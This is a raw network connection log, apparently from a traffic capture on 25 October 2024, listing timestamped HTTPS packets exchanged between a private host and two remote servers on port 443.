Oct 25, 2024 10:17:28.522648096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522670984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522699118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522701979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522710085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522732019 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522757053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522762060 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522790909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522798061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522814035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522814989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522825003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522855997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522876978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522900105 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522900105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522912979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522933960 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522968054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.522968054 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.522978067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523024082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523044109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523049116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523073912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523087978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523097038 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523108006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523114920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523145914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523174047 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523191929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523202896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523207903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523231983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523262024 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523271084 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523276091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523305893 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523332119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523344994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523363113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523389101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523395061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523430109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523437977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523442984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523472071 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523473978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523504972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523509979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523526907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523566008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523571968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523592949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523614883 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523618937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523653030 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523658037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523669958 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523688078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523689032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523730993 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523736954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523751974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523775101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523777008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523814917 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523819923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523844004 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523861885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523870945 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523899078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523904085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523926973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523926973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523955107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523957968 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.523967028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.523997068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.524023056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.524038076 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.524044991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.524091959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.524111032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.731383085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.731467009 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:29.151339054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:29.151443005 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:29.969418049 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:29.969471931 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:29.969585896 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:29.969778061 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:29.969799042 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:29.983372927 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:29.983701944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:30.715368986 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:30.715688944 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:30.715723991 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:30.719352961 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:30.719443083 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:30.736874104 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:30.737049103 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:30.737065077 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:30.737129927 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:30.791629076 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:30.791672945 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:30.839622974 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:30.864173889 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:30.864360094 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:30.864427090 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:30.864763975 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:30.864795923 CEST	443	58448	96.7.168.138	192.168.2.17
Oct 25, 2024 10:17:30.864821911 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:30.864878893 CEST	58448	443	192.168.2.17	96.7.168.138
Oct 25, 2024 10:17:31.647424936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.647712946 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.814069986 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.814132929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.814318895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.826529980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.826589108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.826622009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.826776981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.826776981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.826797009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.826826096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.826853991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.826883078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.826894045 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.826925039 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.826936960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.826967955 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827008009 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827018023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827069044 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827083111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827117920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827146053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827174902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827272892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827287912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827373028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827384949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827447891 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827466011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827502012 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827580929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827584982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827606916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827687979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827703953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827764988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827779055 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827821016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827852011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827852964 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827864885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827914953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.827976942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.827990055 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828059912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828074932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828103065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828150988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828155041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828180075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828188896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828224897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828226089 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828268051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828296900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828325987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828371048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828383923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828412056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828423023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828455925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828474998 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828668118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828717947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828742981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828753948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828783035 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828803062 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828854084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828896046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828923941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828934908 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.828959942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.828979015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829066992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829111099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829134941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829144955 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829174995 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829194069 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829246998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829293966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829319954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829329967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829360008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829376936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829427958 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829468966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829507113 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829516888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829545021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829579115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829601049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829641104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829668999 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829679966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829720020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829720020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829772949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829824924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829866886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829878092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.829906940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829940081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.829961061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830009937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830041885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830054045 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830077887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830095053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830137014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830187082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830216885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830226898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830251932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830271959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830322027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830369949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830400944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830410957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830435991 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830456018 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830504894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830545902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830631018 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830642939 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830674887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830689907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830701113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830732107 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830734968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830760002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830770016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830797911 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830816984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830874920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830914974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830944061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.830954075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.830979109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831002951 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831051111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831099033 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831130028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831140041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831166029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831199884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831228018 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831275940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831304073 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831334114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831362009 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831381083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831437111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831478119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831507921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831518888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831545115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831574917 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831631899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831677914 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831707954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831718922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831743002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831762075 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831816912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831865072 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831908941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831924915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.831952095 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831974030 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.831998110 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832037926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832062960 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832072973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832098961 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832118034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832175970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832217932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832247972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832258940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832283974 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832304001 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832354069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832398891 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832432032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832442999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832468033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832484007 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832531929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832571030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832602978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832613945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832638979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832669020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832699060 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832751036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832778931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832789898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832814932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832837105 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832892895 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832942009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.832974911 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.832984924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833010912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833035946 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833071947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833125114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833156109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833167076 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833193064 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833219051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833259106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833300114 CEST	443	58442	104.16.231.132	192.168.2.17
